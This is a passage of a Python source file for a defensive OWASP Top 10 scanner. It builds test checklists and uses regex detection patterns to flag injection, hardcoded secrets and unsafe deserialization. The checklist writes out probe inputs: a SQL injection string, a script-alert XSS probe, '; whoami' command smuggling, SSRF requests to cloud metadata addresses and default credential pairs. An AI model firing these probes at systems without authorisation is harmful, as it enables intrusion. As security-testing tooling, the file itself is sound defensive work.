    main() - CLI entry point

Usage:
    python vulnerability_scanner.py --target web --scope full
    python vulnerability_scanner.py --target api --scope quick --json
    python vulnerability_scanner.py --target web --source /path/to/code --scope full
"""

import argparse
import json
import os
import re
import sys
from dataclasses import dataclass, asdict, field
from datetime import datetime
from pathlib import Path
from typing import Dict, List, Optional


@dataclass
class CheckItem:
    """A single check item in the OWASP checklist."""
    owasp_id: str
    owasp_category: str
    check_id: str
    title: str
    description: str
    test_procedure: str
    severity: str  # critical, high, medium, low, info
    applicable_targets: List[str] = field(default_factory=list)
    status: str = "pending"  # pending, pass, fail, na


@dataclass
class SourceFinding:
    """A vulnerability pattern found in source code."""
    rule_id: str
    title: str
    severity: str
    owasp_category: str
    file_path: str
    line_number: int
    code_snippet: str
    recommendation: str


class VulnerabilityScanner:
    """Generate OWASP Top 10 checklists and scan source code for vulnerability patterns."""

    SCAN_EXTENSIONS = {
        ".py", ".js", ".ts", ".jsx", ".tsx", ".java", ".go",
        ".rb", ".php", ".cs", ".rs", ".html", ".vue", ".svelte",
    }

    SKIP_DIRS = {
        "node_modules", ".git", "__pycache__", ".venv", "venv",
        "vendor", "dist", "build", ".next", "target",
    }

    def __init__(self, target: str = "web", scope: str = "full", source: Optional[str] = None):
        self.target = target
        self.scope = scope
        self.source = source

    def generate_checklist(self) -> List[CheckItem]:
        """Generate OWASP Top 10 checklist for the given target and scope."""
        all_checks = self._get_owasp_checks()
        filtered = []
        for check in all_checks:
            if self.target not in check.applicable_targets and "all" not in check.applicable_targets:
                continue
            if self.scope == "quick" and check.severity in ("low", "info"):
                continue
            filtered.append(check)
        return filtered

    def scan_source(self, path: str) -> List[SourceFinding]:
        """Scan source directory for common vulnerability patterns."""
        findings = []
        source_path = Path(path)
        if not source_path.exists():
            return findings

        for root, dirs, files in os.walk(source_path):
            dirs[:] = [d for d in dirs if d not in self.SKIP_DIRS]
            for fname in files:
                fpath = Path(root) / fname
                if fpath.suffix in self.SCAN_EXTENSIONS:
                    findings.extend(self._scan_file(fpath))
        return findings

    def _scan_file(self, file_path: Path) -> List[SourceFinding]:
        """Scan a single file for vulnerability patterns."""
        findings = []
        try:
            content = file_path.read_text(encoding="utf-8", errors="ignore")
        except (OSError, PermissionError):
            return findings

        patterns = [
            {
                "rule_id": "SQLI-001",
                "title": "Potential SQL Injection (string concatenation)",
                "severity": "critical",
                "owasp_category": "A03:2021 - Injection",
                "pattern": r'''(?:execute|query|cursor\.execute)\s*\(\s*(?:f["\']|["\'].*%s|["\'].*\+\s*\w+|["\'].*\.format)''',
                "recommendation": "Use parameterized queries or prepared statements instead of string concatenation.",
                "extensions": {".py", ".js", ".ts", ".java", ".rb", ".php"},
            },
            {
                "rule_id": "SQLI-002",
                "title": "Potential SQL Injection (template literal)",
                "severity": "critical",
                "owasp_category": "A03:2021 - Injection",
                "pattern": r'''(?:query|execute|raw)\s*\(\s*`[^`]*\$\{''',
                "recommendation": "Use parameterized queries. Never interpolate user input into SQL strings.",
                "extensions": {".js", ".ts", ".jsx", ".tsx"},
            },
            {
                "rule_id": "XSS-001",
                "title": "Potential DOM-based XSS (innerHTML)",
                "severity": "high",
                "owasp_category": "A03:2021 - Injection",
                "pattern": r'''\.innerHTML\s*=\s*(?!['"][^'"]*['"])''',
                "recommendation": "Use textContent or a sanitization library (DOMPurify) instead of innerHTML.",
                "extensions": {".js", ".ts", ".jsx", ".tsx", ".html", ".vue", ".svelte"},
            },
            {
                "rule_id": "XSS-002",
                "title": "React dangerouslySetInnerHTML usage",
                "severity": "high",
                "owasp_category": "A03:2021 - Injection",
                "pattern": r'''dangerouslySetInnerHTML''',
                "recommendation": "Sanitize HTML with DOMPurify before using dangerouslySetInnerHTML.",
                "extensions": {".jsx", ".tsx", ".js", ".ts"},
            },
            {
                "rule_id": "CMDI-001",
                "title": "Potential Command Injection (shell=True)",
                "severity": "critical",
                "owasp_category": "A03:2021 - Injection",
                "pattern": r'''subprocess\.\w+\(.*shell\s*=\s*True''',
                "recommendation": "Avoid shell=True. Use subprocess with a list of arguments instead.",
                "extensions": {".py"},
            },
            {
                "rule_id": "CMDI-002",
                "title": "Potential Command Injection (eval/exec)",
                "severity": "critical",
                "owasp_category": "A03:2021 - Injection",
                "pattern": r'''(?:^|\s)(?:eval|exec)\s*\((?!.*(?:#\s*nosec|NOSONAR))''',
                "recommendation": "Never use eval() or exec() with untrusted input. Use ast.literal_eval() for data parsing.",
                "extensions": {".py", ".js", ".ts"},
            },
            {
                "rule_id": "SEC-001",
                "title": "Hardcoded Secret or API Key",
                "severity": "critical",
                "owasp_category": "A02:2021 - Cryptographic Failures",
                "pattern": r'''(?i)(?:api[_-]?key|secret[_-]?key|password|passwd|token)\s*[:=]\s*['\"][a-zA-Z0-9+/=]{16,}['\"]''',
                "recommendation": "Move secrets to environment variables or a secrets manager (Vault, AWS Secrets Manager).",
                "extensions": {".py", ".js", ".ts", ".jsx", ".tsx", ".java", ".go", ".rb", ".php"},
            },
            {
                "rule_id": "SEC-002",
                "title": "AWS Access Key ID detected",
                "severity": "critical",
                "owasp_category": "A02:2021 - Cryptographic Failures",
                "pattern": r'''AKIA[0-9A-Z]{16}''',
                "recommendation": "Remove the AWS key immediately. Rotate the credential and use IAM roles or environment variables.",
                "extensions": None,  # scan all files
            },
            {
                "rule_id": "CRYPTO-001",
                "title": "Weak hashing algorithm (MD5/SHA1)",
                "severity": "high",
                "owasp_category": "A02:2021 - Cryptographic Failures",
                "pattern": r'''(?:md5|sha1)\s*\(''',
                "recommendation": "Use bcrypt, scrypt, or argon2 for passwords. Use SHA-256+ for integrity checks.",
                "extensions": {".py", ".js", ".ts", ".java", ".go", ".rb", ".php"},
            },
            {
                "rule_id": "SSRF-001",
                "title": "Potential SSRF (user-controlled URL in HTTP request)",
                "severity": "high",
                "owasp_category": "A10:2021 - SSRF",
                "pattern": r'''(?:requests\.get|fetch|axios|http\.get|urllib\.request\.urlopen)\s*\(\s*(?:request\.|req\.|params|args|input|user)''',
                "recommendation": "Validate and allowlist URLs before making outbound requests. Block internal IPs.",
                "extensions": {".py", ".js", ".ts", ".jsx", ".tsx", ".java", ".go"},
            },
            {
                "rule_id": "PATH-001",
                "title": "Potential Path Traversal",
                "severity": "high",
                "owasp_category": "A01:2021 - Broken Access Control",
                "pattern": r'''(?:open|readFile|readFileSync|Path\.join)\s*\(.*(?:request\.|req\.|params|args|input|user)''',
                "recommendation": "Sanitize file paths. Use os.path.basename() and validate against an allowlist.",
                "extensions": {".py", ".js", ".ts", ".java", ".go"},
            },
            {
                "rule_id": "DESER-001",
                "title": "Unsafe Deserialization (pickle/yaml.load)",
                "severity": "critical",
                "owasp_category": "A08:2021 - Software and Data Integrity Failures",
                "pattern": r'''(?:pickle\.load|yaml\.load\s*\([^)]*\)\s*(?!.*Loader\s*=\s*yaml\.SafeLoader))''',
                "recommendation": "Use yaml.safe_load() instead of yaml.load(). Avoid pickle for untrusted data.",
                "extensions": {".py"},
            },
            {
                "rule_id": "AUTH-001",
                "title": "JWT with hardcoded secret",
                "severity": "critical",
                "owasp_category": "A07:2021 - Identification and Authentication Failures",
                "pattern": r'''jwt\.(?:encode|sign)\s*\([^)]*['\"][a-zA-Z0-9]{8,}['\"]''',
                "recommendation": "Load JWT secrets from environment variables. Use RS256 with key pairs for production.",
                "extensions": {".py", ".js", ".ts"},
            },
        ]

        lines = content.split("\n")
        for i, line in enumerate(lines, 1):
            for pat in patterns:
                exts = pat.get("extensions")
                if exts and file_path.suffix not in exts:
                    continue
                if re.search(pat["pattern"], line):
                    findings.append(SourceFinding(
                        rule_id=pat["rule_id"],
                        title=pat["title"],
                        severity=pat["severity"],
                        owasp_category=pat["owasp_category"],
                        file_path=str(file_path),
                        line_number=i,
                        code_snippet=line.strip()[:200],
                        recommendation=pat["recommendation"],
                    ))
        return findings

    def _get_owasp_checks(self) -> List[CheckItem]:
        """Return comprehensive OWASP Top 10 checklist items."""
        checks = [
            # A01: Broken Access Control
            CheckItem("A01", "Broken Access Control", "A01-01",
                      "Horizontal Privilege Escalation",
                      "Verify users cannot access other users' resources by changing IDs.",
                      "Change resource IDs in API requests (e.g., /users/123 → /users/124). Expect 403.",
                      "critical", ["web", "api", "all"]),
            CheckItem("A01", "Broken Access Control", "A01-02",
                      "Vertical Privilege Escalation",
                      "Verify regular users cannot access admin endpoints.",
                      "Authenticate as regular user, request admin endpoints. Expect 403.",
                      "critical", ["web", "api", "all"]),
            CheckItem("A01", "Broken Access Control", "A01-03",
                      "CORS Misconfiguration",
                      "Verify CORS policy does not allow arbitrary origins.",
                      "Send request with Origin: https://evil.com. Check Access-Control-Allow-Origin.",
                      "high", ["web", "api"]),
            CheckItem("A01", "Broken Access Control", "A01-04",
                      "Forced Browsing",
                      "Check for unprotected admin or debug pages.",
                      "Request /admin, /debug, /api/admin, /.env, /swagger. Expect 403 or 404.",
                      "high", ["web", "all"]),
            CheckItem("A01", "Broken Access Control", "A01-05",
                      "Directory Listing",
                      "Verify directory listing is disabled on the web server.",
                      "Request directory paths without index file. Should not list contents.",
                      "medium", ["web"]),

            # A02: Cryptographic Failures
            CheckItem("A02", "Cryptographic Failures", "A02-01",
                      "TLS Version Check",
                      "Ensure TLS 1.2+ is enforced. Reject TLS 1.0/1.1.",
                      "Run: nmap --script ssl-enum-ciphers -p 443 target.com",
                      "high", ["web", "api", "all"]),
            CheckItem("A02", "Cryptographic Failures", "A02-02",
                      "Password Hashing Algorithm",
                      "Verify passwords use bcrypt/scrypt/argon2 with adequate cost.",
                      "Review authentication code for hashing implementation.",
                      "critical", ["web", "api", "all"]),
            CheckItem("A02", "Cryptographic Failures", "A02-03",
                      "Sensitive Data in URLs",
                      "Check for tokens, passwords, or PII in query parameters.",
                      "Review access logs and URL patterns for sensitive query params.",
                      "high", ["web", "api"]),
            CheckItem("A02", "Cryptographic Failures", "A02-04",
                      "HSTS Header",
                      "Verify Strict-Transport-Security header is present.",
                      "Check response headers for HSTS with max-age >= 31536000.",
                      "medium", ["web"]),

            # A03: Injection
            CheckItem("A03", "Injection", "A03-01",
                      "SQL Injection",
                      "Test input fields for SQL injection vulnerabilities.",
                      "Submit ' OR 1=1-- in input fields. Check for errors or unexpected behavior.",
                      "critical", ["web", "api", "all"]),
            CheckItem("A03", "Injection", "A03-02",
                      "XSS (Cross-Site Scripting)",
                      "Test for reflected, stored, and DOM-based XSS.",
                      "Submit <script>alert(1)</script> in input fields. Check if rendered.",
                      "high", ["web", "all"]),
            CheckItem("A03", "Injection", "A03-03",
                      "Command Injection",
                      "Test for OS command injection in input fields.",
                      "Submit ; whoami in fields that may trigger system commands.",
                      "critical", ["web", "api"]),
            CheckItem("A03", "Injection", "A03-04",
                      "Template Injection",
                      "Test for server-side template injection.",
                      "Submit {{7*7}} and ${7*7} in input fields. Check for 49 in response.",
                      "high", ["web", "api"]),
            CheckItem("A03", "Injection", "A03-05",
                      "NoSQL Injection",
                      "Test for NoSQL injection in JSON inputs.",
                      "Submit {\"$gt\": \"\"} in JSON fields. Check for data leakage.",
                      "high", ["api"]),

            # A04: Insecure Design
            CheckItem("A04", "Insecure Design", "A04-01",
                      "Rate Limiting on Authentication",
                      "Verify rate limiting exists on login and password reset endpoints.",
                      "Send 50+ rapid login requests. Expect 429 after threshold.",
                      "high", ["web", "api", "all"]),
            CheckItem("A04", "Insecure Design", "A04-02",
                      "Business Logic Abuse",
                      "Test for business logic flaws (negative quantities, state manipulation).",
                      "Try negative values, skip steps in workflows, manipulate client-side calculations.",
                      "high", ["web", "api"]),
            CheckItem("A04", "Insecure Design", "A04-03",
                      "Account Lockout",
                      "Verify account lockout after repeated failed login attempts.",
                      "Submit 10+ failed login attempts. Check for lockout or CAPTCHA.",
                      "medium", ["web", "api"]),

            # A05: Security Misconfiguration
            CheckItem("A05", "Security Misconfiguration", "A05-01",
                      "Default Credentials",
                      "Check for default credentials on admin panels and services.",
                      "Try admin:admin, root:root, admin:password on all login forms.",
                      "critical", ["web", "api", "all"]),
            CheckItem("A05", "Security Misconfiguration", "A05-02",
                      "Debug Mode in Production",
                      "Verify debug mode is disabled in production.",
                      "Trigger errors and check for stack traces, debug info, or verbose errors.",
                      "high", ["web", "api", "all"]),
            CheckItem("A05", "Security Misconfiguration", "A05-03",
                      "Security Headers",
                      "Verify all security headers are present and properly configured.",
                      "Check for CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy.",
                      "medium", ["web"]),
            CheckItem("A05", "Security Misconfiguration", "A05-04",
                      "Unnecessary HTTP Methods",
                      "Verify only required HTTP methods are enabled.",
                      "Send OPTIONS request. Check for TRACE, DELETE on public endpoints.",
                      "low", ["web", "api"]),

            # A06: Vulnerable Components
            CheckItem("A06", "Vulnerable and Outdated Components", "A06-01",
                      "Dependency CVE Audit",
                      "Scan all dependencies for known CVEs.",
                      "Run npm audit, pip audit, govulncheck, or bundle audit.",
                      "high", ["web", "api", "mobile", "all"]),
            CheckItem("A06", "Vulnerable and Outdated Components", "A06-02",
                      "End-of-Life Framework Check",
                      "Verify no EOL frameworks or languages are in use.",
                      "Check framework versions against vendor EOL dates.",
                      "medium", ["web", "api", "all"]),

            # A07: Authentication Failures
            CheckItem("A07", "Identification and Authentication Failures", "A07-01",
                      "Brute Force Protection",
                      "Verify brute force protection on authentication endpoints.",
                      "Send 100 rapid login attempts. Expect blocking after threshold.",
                      "high", ["web", "api", "all"]),
            CheckItem("A07", "Identification and Authentication Failures", "A07-02",
                      "Session Management",
                      "Verify sessions are properly managed (HttpOnly, Secure, SameSite).",
                      "Check cookie flags: HttpOnly, Secure, SameSite=Strict|Lax.",
                      "high", ["web"]),
            CheckItem("A07", "Identification and Authentication Failures", "A07-03",
                      "Session Invalidation on Logout",
                      "Verify sessions are invalidated on logout.",
                      "Logout, then replay the session cookie. Should receive 401.",
                      "high", ["web", "api"]),
            CheckItem("A07", "Identification and Authentication Failures", "A07-04",
                      "Username Enumeration",
                      "Check for username enumeration via error messages.",
                      "Submit valid and invalid usernames. Error messages should be identical.",
                      "medium", ["web", "api"]),

            # A08: Data Integrity
            CheckItem("A08", "Software and Data Integrity Failures", "A08-01",
                      "Unsafe Deserialization",
                      "Check for unsafe deserialization of user input.",
                      "Review code for pickle.load(), yaml.load(), Java ObjectInputStream.",
                      "critical", ["web", "api"]),
            CheckItem("A08", "Software and Data Integrity Failures", "A08-02",
                      "Subresource Integrity",
                      "Verify SRI hashes on CDN-loaded scripts and stylesheets.",
                      "Check <script> and <link> tags for integrity attributes.",
                      "medium", ["web"]),

            # A09: Logging Failures
            CheckItem("A09", "Security Logging and Monitoring Failures", "A09-01",
                      "Authentication Event Logging",
                      "Verify login success and failure events are logged.",
                      "Attempt valid and invalid logins. Check server logs for entries.",
                      "medium", ["web", "api", "all"]),
            CheckItem("A09", "Security Logging and Monitoring Failures", "A09-02",
                      "Sensitive Data in Logs",
                      "Verify passwords, tokens, and PII are not logged.",
                      "Review log configuration and sample log output for sensitive data.",
                      "high", ["web", "api", "all"]),

            # A10: SSRF
            CheckItem("A10", "Server-Side Request Forgery", "A10-01",
                      "Internal Network Access via SSRF",
                      "Test URL input fields for SSRF vulnerabilities.",
                      "Submit http://169.254.169.254/ and http://127.0.0.1 in URL fields.",
                      "critical", ["web", "api"]),
            CheckItem("A10", "Server-Side Request Forgery", "A10-02",
                      "DNS Rebinding",
                      "Test for DNS rebinding attacks on URL validators.",
                      "Use a DNS rebinding service to bypass allowlist validation.",
                      "high", ["web", "api"]),
        ]
        return checks


def format_checklist_text(checks: List[CheckItem]) -> str:
    """Format checklist as human-readable text."""
    lines = []
    lines.append("=" * 70)
    lines.append("OWASP TOP 10 SECURITY CHECKLIST")
    lines.append(f"Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    lines.append(f"Total checks: {len(checks)}")
    lines.append("=" * 70)

    current_category = ""
    for check in checks:
        if check.owasp_category != current_category:
            current_category = check.owasp_category
            lines.append(f"\n--- {check.owasp_id}: {check.owasp_category} ---\n")
        sev_marker = {"critical": "[!!!]", "high": "[!! ]", "medium": "[!  ]", "low": "[.  ]", "info": "[   ]"}
        marker = sev_marker.get(check.severity, "[   ]")
        lines.append(f"  {marker} [{check.check_id}] {check.title}")
        lines.append(f"       {check.description}")
        lines.append(f"       Test: {check.test_procedure}")
        lines.append(f"       Severity: {check.severity.upper()}")
        lines.append("")
    return "\n".join(lines)


def format_findings_text(findings: List[SourceFinding]) -> str:
    """Format source findings as human-readable text."""
    if not findings:
        return "No vulnerability patterns detected in source code."
    lines = []
    lines.append(f"\nSOURCE CODE FINDINGS: {len(findings)} issue(s) found\n")
    by_severity = {"critical": [], "high": [], "medium": [], "low": [], "info": []}
    for f in findings:
        by_severity.get(f.severity, by_severity["info"]).append(f)
    for sev in ["critical", "high", "medium", "low", "info"]:
        group = by_severity[sev]
        if not group:
            continue
        lines.append(f"  [{sev.upper()}] ({len(group)} finding(s))")
        for f in group:
            lines.append(f"    - {f.title} [{f.rule_id}]")
            lines.append(f"      File: {f.file_path}:{f.line_number}")
            lines.append(f"      Code: {f.code_snippet}")
            lines.append(f"      Fix:  {f.recommendation}")
            lines.append("")
    return "\n".join(lines)


def main():
    parser = argparse.ArgumentParser(
        description="Vulnerability Scanner — Generate OWASP Top 10 checklists and scan source code for vulnerability patterns.",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s --target web --scope full
  %(prog)s --target api --scope quick --json
  %(prog)s --target web --source /path/to/code --scope full
  %(prog)s --target mobile --scope quick --json
        """,
    )
    parser.add_argument("--target", choices=["web", "api", "mobile"], default="web",
                        help="Target application type (default: web)")
    parser.add_argument("--scope", choices=["quick", "full"], default="full",
                        help="Scan scope: quick (high/critical only) or full (default: full)")
    parser.add_argument("--source", metavar="PATH",
                        help="Optional: path to source code directory to scan for patterns")
    parser.add_argument("--json", action="store_true", dest="json_output",
                        help="Output results as JSON")
    args = parser.parse_args()

    scanner = VulnerabilityScanner(target=args.target, scope=args.scope)
    checklist = scanner.generate_checklist()

    source_findings = []
    if args.source:
        source_findings = scanner.scan_source(args.source)

    if args.json_output:
        output = {
            "scan_metadata": {
                "target": args.target,
                "scope": args.scope,
                "source_path": args.source,
                "generated_at": datetime.now().isoformat(),
                "checklist_count": len(checklist),
                "source_findings_count": len(source_findings),
            },
            "checklist": [asdict(c) for c in checklist],
            "source_findings": [asdict(f) for f in source_findings],
        }
        print(json.dumps(output, indent=2))
    else:
        print(format_checklist_text(checklist))
        if source_findings:
            print(format_findings_text(source_findings))
        elif args.source:
            print("\nNo vulnerability patterns detected in source code.")

    # Exit with non-zero if critical/high findings found in source scan
    critical_high = [f for f in source_findings if f.severity in ("critical", "high")]
    if critical_high:
        sys.exit(1)


if __name__ == "__main__":
    main()